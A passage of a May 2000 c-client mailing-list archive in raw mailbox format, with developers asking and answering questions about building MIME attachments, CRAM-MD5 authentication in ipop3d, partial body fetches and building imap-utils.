mail.infohouse.com (Post.Office MTA v3.5.3 release 223 ID# 141-66750U4000L400S0V35) with SMTP id com for ; Thu, 4 May 2000 15:15:04 -0400 Message-Id: <000401bfb5fd$1da13240$168aa8c0@tempest> Date: Thu, 4 May 2000 15:15:31 -0400 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Joel Park" To: Subject: 0 byte attachments (was mail attachments) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Further to my previous message, I am sending the message and adding the attachment, however, the message is being received with a 0 byte attachment. The steps taken to add the attachments are similar to the way PINE is doing it: First part is TYPETEXT. All other parts for the attachments are added as TYPEOTHER with encoding set to ENCBINARY. It is to my understanding that smtp_mail() will automagically base64 encode the attachments. Please advise if you have any inkling as to what I am overlooking. Thanks in advance, -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu May 4 12:37:53 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 4 May 2000 12:37:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA12975 for ; Thu, 4 May 2000 12:37:52 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA05347; Thu, 4 May 2000 12:37:48 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA29841; Thu, 4 May 2000 12:36:24 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA55340 for ; Thu, 4 May 2000 12:34:30 -0700 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA07431 for ; Thu, 4 May 2000 12:34:22 -0700 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id NAA11360; Thu, 4 May 2000 13:46:07 -0600 Message-Id: Date: Thu, 4 May 2000 13:46:06 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: Joel Park Cc: c-client@u.washington.edu Subject: Re: 0 byte attachments (was mail attachments) In-Reply-To: <000401bfb5fd$1da13240$168aa8c0@tempest> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 4 May 2000, Joel Park wrote: > Further to my previous message, I am sending the message and adding the > attachment, however, the message is being received with a 0 byte attachment. > The steps taken to add the attachments are similar to the way PINE is doing > it: > > First part is TYPETEXT. > All other parts for the attachments are added as TYPEOTHER with encoding set > to ENCBINARY. > Joel, here is how I do it, hope this helps: mybody->type = TYPEMULTIPART; mybody->encoding = ENCOTHER; part1 = mail_newbody_part(); part1->body.type = TYPETEXT; part1->body.encoding = ENC7BIT; part1->body.id = NIL; part1->body.description = NIL; part1->body.contents.text.data = voicegramtext; part1->body.contents.text.size = 11; part2 = mail_newbody_part(); part2->body.type = TYPEAUDIO; part2->body.subtype = "X-WAV"; part2->body.encoding = ENCBINARY; part2->body.id = NIL; part2->body.description = "Voicegram"; part2->body.disposition.type = "attachment"; bodyparam = mail_newbody_parameter(); bodyparam->attribute = "filename"; bodyparam->value = "Voicegram.WAV"; bodyparam->next = NIL; part2->body.disposition.parameter = bodyparam; part2->body.contents.text.data = voicegram; part2->body.contents.text.size = voicegramsize; part2->body.size.bytes = voicegramsize; part2->next = NIL; part1->next = part2; mybody->nested.part = part1; strcpy(mysmtphost, smtphost); p = mysmtphost; syslog(LOGPRI, "Opening SMTP stream.\n"); mysmtp = (SENDSTREAM *)smtp_open_full(NIL, &p, "smtp", 25, NIL); syslog(LOGPRI, "Sending voicegram via SMTP.\n"); r = smtp_mail(mysmtp, "MAIL", myenv, mybody); syslog(LOGPRI, "Message sent.\n"); smtp_close(mysmtp); syslog(LOGPRI, "SMTP stream closed.\n"); From pinedev@shivax2.cac.washington.edu Fri May 5 15:24:20 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 5 May 2000 15:24:19 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA16761 for ; Fri, 5 May 2000 15:24:18 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA11595; Fri, 5 May 2000 15:24:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id PAA17852; Fri, 5 May 2000 15:23:17 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA22048 for ; Fri, 5 May 2000 15:21:27 -0700 Received: from gsfcsrvr4.gsfcmo.ecs.nasa.gov (gsfcsrvr4.gsfcmo.ecs.nasa.gov [198.118.198.28]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA12146 for ; Fri, 5 May 2000 15:21:26 -0700 Received: from gsfcsrvr4.gsfcmo.ecs.nasa.gov (g0mos17.gsfcmo.ecs.nasa.gov [198.118.198.77]) by gsfcsrvr4.gsfcmo.ecs.nasa.gov (8.8.8+Sun/8.8.4) with ESMTP id SAA22612; Fri, 5 May 2000 18:21:23 -0400 (EDT) Message-Id: <391348AE.B0F3EDC4@gsfcsrvr4.gsfcmo.ecs.nasa.gov> Date: Fri, 05 May 2000 18:18:22 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tom Suhrstedt To: c-client@u.washington.edu Subject: Use of CRAM-MD5 for AUTH LOGIN or USER/PASS MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: tsuhrste@gsfcsrvr4.gsfcmo.ecs.nasa.gov X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am using a version of the UWash ipop3d daemon that was compiled by someone else for my Solaris box, but which appears to support CRAM-MD5: +OK POP3 v7.61 server ready <4cc2.39133d3c@localhost> AUTH +OK Supported authentication mechanisms: CRAM-MD5 LOGIN . Prior to deciding how best to get encrypted authentication for a mix of UNIX/PC and local/remote users, I wanted to have users start using something other than their UNIX password to authenticate to the pop3 server. After looking at the md5.txt doc file it appeared to me that if I created the /etc/cram-md5.pwd file as directed (tab between fields), then the user would be authenticated against the password in this file rather than the UNIX password. -r-------- 1 root sys 110 May 5 16:51 cram-md5.pwd My netscape clients do an AUTH LOGIN with base64 encoding, so to simulate a LOGIN without the encoding I am just doing USER/PASS. Unfortunately, the cram-md5 password fails, and I must still use my UNIX password. USER me +OK User name accepted, password please PASS mycrampass -ERR Bad login USER me +OK User name accepted, password please PASS myunixpass +OK Mailbox open, 1 messages Thanks in advance to anyone willing to show me the error of my ways. -- Tom Suhrstedt NASA GSFC Building 32, room N126E phone: (301) 614-5506 email: Tom.Suhrstedt@gsfc.nasa.gov FAX: (301) 614-5304 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri May 5 15:47:55 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 5 May 2000 15:47:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA03903 for ; Fri, 5 May 2000 15:47:54 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA13368; Fri, 5 May 2000 15:47:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id PAA05902; Fri, 5 May 2000 15:47:19 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA52956 for ; Fri, 5 May 2000 15:46:42 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (wml@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA16789 for ; Fri, 5 May 2000 15:46:42 -0700 Message-Id: Date: Fri, 5 May 2000 15:41:57 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tom Suhrstedt Cc: c-client@u.washington.edu Subject: re: Use of CRAM-MD5 for AUTH LOGIN or USER/PASS In-Reply-To: <391348AE.B0F3EDC4@gsfcsrvr4.gsfcmo.ecs.nasa.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The cause of your problem is that you have an old version of ipop3d which does not use the CRAM-MD5 password for non-CRAM-MD5 logins. This was changed after your version, so that if CRAM-MD5 is in use the CRAM-MD5 password is always used for all password-style authentication. Please upgrade to the lastest version: ftp://ftp.cac.washington.edu/mail/imap.tar.Z From pinedev@shivax2.cac.washington.edu Sun May 7 16:57:56 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 7 May 2000 16:57:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA22660 for ; Sun, 7 May 2000 16:57:54 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA27057; Sun, 7 May 2000 16:57:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id QAA29700; Sun, 7 May 2000 16:57:15 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA18394 for ; Sun, 7 May 2000 16:55:04 -0700 Received: from spdmgaaa.compuserve.com (ds-img-1.compuserve.com [149.174.206.134]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA05928 for ; Sun, 7 May 2000 16:55:03 -0700 Received: (from mailgate@localhost) by spdmgaaa.compuserve.com (8.9.3/8.9.3/SUN-1.9) id TAA28148 for c-client@u.washington.edu; Sun, 7 May 2000 19:54:59 -0400 (EDT) Message-Id: <200005071954_MC2-A415-7F78@compuserve.com> Date: Sun, 7 May 2000 19:54:32 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Brenda G. Spielman" To: c-client Subject: partial body fetch MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline X-Sender: "Brenda G. Spielman" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am investigating using partial body fetches as a means of implementing= = streaming of large files. In c-client (4.7a) ther are two functions, mail_partial_text and mail_partial_body fetch. Both require mailgets. internal.txt, in the description of SET_GETS stat= es that this is only supported In DOS and WIN16. = My platforms will be NT and Solaris as a minimum. = Is there a way to do partial fetches on these platforms? I have searched the imap archieves and seen some email that discusses the= overhead associated with partial fetches, but it is not strictly applicab= le to what I am doing. = Thanks for any information. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun May 7 22:52:49 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 7 May 2000 22:52:48 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA24210 for ; Sun, 7 May 2000 22:52:47 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA32598; Sun, 7 May 2000 22:52:45 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id WAA24563; Sun, 7 May 2000 22:52:16 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id WAA22196 for ; Sun, 7 May 2000 22:50:19 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gin@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA06775 for ; Sun, 7 May 2000 22:50:18 -0700 Message-Id: Date: Sun, 7 May 2000 22:48:28 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Brenda G. Spielman" Cc: c-client Subject: re: partial body fetch In-Reply-To: <200005071954_MC2-A415-7F78@compuserve.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN internal.txt is out of date; it describes the imap-4 (RFC 1730 based) toolkit; and that comment (that SET_GETS is only for DOS and Win16) is one of the things that is out of date. You can do SET_GETS on all platforms (including NT and Solaris) for user with mail_partial_text() and mail_partial_body(). From pinedev@shivax2.cac.washington.edu Mon May 8 01:05:56 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 8 May 2000 01:05:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA11167 for ; Mon, 8 May 2000 01:05:55 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA02194; Mon, 8 May 2000 01:05:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id BAA04780; Mon, 8 May 2000 01:05:25 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id BAA29086 for ; Mon, 8 May 2000 01:03:39 -0700 Received: from mail.tripperjones.com ([209.191.92.151]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA16125 for ; Mon, 8 May 2000 01:03:38 -0700 Received: from STEVEEQ1 ([192.168.1.3]) by mail.tripperjones.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id KN1W6V9T; Mon, 8 May 2000 01:10:01 -0700 Message-Id: <002c01bfb8c3$c096b920$0301a8c0@internetconnect.net> Date: Mon, 8 May 2000 00:56:28 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Steve Quezadas" To: Subject: imap-utils README? MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001F_01BFB888.3DD07D40" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_001F_01BFB888.3DD07D40 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable I just decompress the imap-utils.tar.Z package only to find that there = is no associated README file in there. I checked the imapd website and = there wasn't much info in there. Is there a README file that has info on = compilation, what each program does, etc? - Steve ------=_NextPart_000_001F_01BFB888.3DD07D40 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
    I just decompress the imap-utils.tar.Z package only = to find=20 that there is no associated README file in there. I checked the imapd = website=20 and there wasn't much info in there. Is there a README file that = has info=20 on compilation, what each program does, etc?
     
    - Steve
    ------=_NextPart_000_001F_01BFB888.3DD07D40-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon May 8 03:18:22 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 8 May 2000 03:18:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA26338 for ; Mon, 8 May 2000 03:18:21 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA04541; Mon, 8 May 2000 03:18:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id DAA28325; Mon, 8 May 2000 03:17:43 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id DAA41872 for ; Mon, 8 May 2000 03:15:40 -0700 Received: from furgoneta.uv.es (furgoneta.ci.uv.es [147.156.1.46]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA25033 for ; Mon, 8 May 2000 03:15:00 -0700 Received: from gong.uv.es (gong.ci.uv.es [147.156.1.1]) by furgoneta.uv.es (8.9.0/8.9.0) with ESMTP id MAA29901 for ; Mon, 8 May 2000 12:14:00 +0200 Received: from iluso.ci.uv.es (iluso.ci.uv.es [147.156.1.25]) by gong.uv.es (8.9.3/8.9.3) with ESMTP id MAA27950 for ; Mon, 8 May 2000 12:13:59 +0200 (METDST) Message-Id: Date: Mon, 8 May 2000 12:13:59 +0200 (METDST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jose Agustin Lopez Bueno To: c-client@u.washington.edu Subject: How to get attach header? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: lopezj@iluso.ci.uv.es X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, all. I am working in a WebMail software based in the c-client software. I have one question I have not found in the docs. I need to get all the header of one MIME attach to download to the navigator (for the HTML attachs) but I have not found the way. I have seen that I can get some parts of the attach header (Content-type, ...), but not the full header. It is possible with that library to do this? Every pointer will be welcomed. Best regards and thanks for your time, Agustin ============================================================ | Jose Agustin Lopez Bueno | | E-Mail: Agustin.Lopez@uv.es | http://www.uv.es/~lopezj/ | | Tel: +34-6-3864310 | Fax: +34-6-3864200 | | Servicio de Informatica, Universidad de Valencia, Spain | ============================================================ "I've seen things you people wouldn't believe. Attack ships on fire off the shoulder of Orion. I watched c-beams glitter in the dark near Tanhauser Gate. All of those moments will be lost in time like tears in rain. Time to die." Philip K.Dick, "Do Androids Dream of Electric Sheep?" -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon May 8 08:16:06 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 8 May 2000 08:16:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA04787 for ; Mon, 8 May 2000 08:16:04 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA08789; Mon, 8 May 2000 08:15:55 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA03128; Mon, 8 May 2000 08:15:24 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA39644 for ; Mon, 8 May 2000 08:13:34 -0700 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA13507 for ; Mon, 8 May 2000 08:13:30 -0700 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id JAA26157; Mon, 8 May 2000 09:24:21 -0600 Message-Id: Date: Mon, 8 May 2000 09:24:21 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: Jose Agustin Lopez Bueno Cc: c-client@u.washington.edu Subject: Re: How to get attach header? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have done this, but by creating the "Content-type" tags myself, and outputting them to the browser client just before the stream of bytes that is the file itself. On Mon, 8 May 2000, Jose Agustin Lopez Bueno wrote: > > Hello, all. > > I am working in a WebMail software based in the c-client software. > I have one question I have not found in the docs. > > I need to get all the header of one MIME attach to download > to the navigator (for the HTML attachs) but I have not found the way. > I have seen that I can get some parts of the attach header (Content-type, ...), > but not the full header. It is possible with that library to do this? > > Every pointer will be welcomed. > > Best regards and thanks for your time, > Agustin > > > ============================================================ > | Jose Agustin Lopez Bueno | > | E-Mail: Agustin.Lopez@uv.es | http://www.uv.es/~lopezj/ | > | Tel: +34-6-3864310 | Fax: +34-6-3864200 | > | Servicio de Informatica, Universidad de Valencia, Spain | > ============================================================ > > "I've seen things you people wouldn't believe. Attack ships > on fire off the shoulder of Orion. I watched c-beams glitter > in the dark near Tanhauser Gate. All of those moments will be > lost in time like tears in rain. Time to die." > > Philip K.Dick, "Do Androids Dream of Electric Sheep?" > > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Mon May 8 10:44:56 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 8 May 2000 10:44:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA08644 for ; Mon, 8 May 2000 10:44:54 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA14867; Mon, 8 May 2000 10:44:51 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA13873; Mon, 8 May 2000 10:44:08 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA26598 for ; Mon, 8 May 2000 10:42:28 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (s564146@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA12406 for ; Mon, 8 May 2000 10:42:27 -0700 Message-Id: Date: Mon, 8 May 2000 10:40:25 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Steve Quezadas Cc: c-client@u.washington.edu Subject: re: imap-utils README? In-Reply-To: <002c01bfb8c3$c096b920$0301a8c0@internetconnect.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN To build each program, just unpack it parallel to the imap source directory (check the Makefile to see what version it looks for; if necessary make a symlink e.g. "ln imap-4.7c2 imap-4.6" if it looks for imap-4.6). Then for each directory, connect to it and do a "make". Each utility has a man page. From pinedev@shivax2.cac.washington.edu Mon May 8 10:46:33 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 8 May 2000 10:46:33 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA07137 for ; Mon, 8 May 2000 10:46:32 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA14922; Mon, 8 May 2000 10:46:30 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA25463; Mon, 8 May 2000 10:45:52 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA23074 for ; Mon, 8 May 2000 10:44:13 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (takahashi@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA14291 for ; Mon, 8 May 2000 10:44:12 -0700 Message-Id: Date: Mon, 8 May 2000 10:43:27 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jose Agustin Lopez Bueno Cc: c-client@u.washington.edu Subject: re: How to get attach header? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 8 May 2000 12:13:59 +0200 (METDST), Jose Agustin Lopez Bueno wrote: > I need to get all the header of one MIME attach to download > to the navigator (for the HTML attachs) but I have not found the way. > I have seen that I can get some parts of the attach header (Content-type, ...), > but not the full header. It is possible with that library to do this? What about mail_fetch_mime()? From pinedev@shivax2.cac.washington.edu Wed May 10 15:02:25 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 10 May 2000 15:02:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA04753 for ; Wed, 10 May 2000 15:02:24 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA24736; Wed, 10 May 2000 15:02:21 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA15554; Wed, 10 May 2000 15:01:44 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id 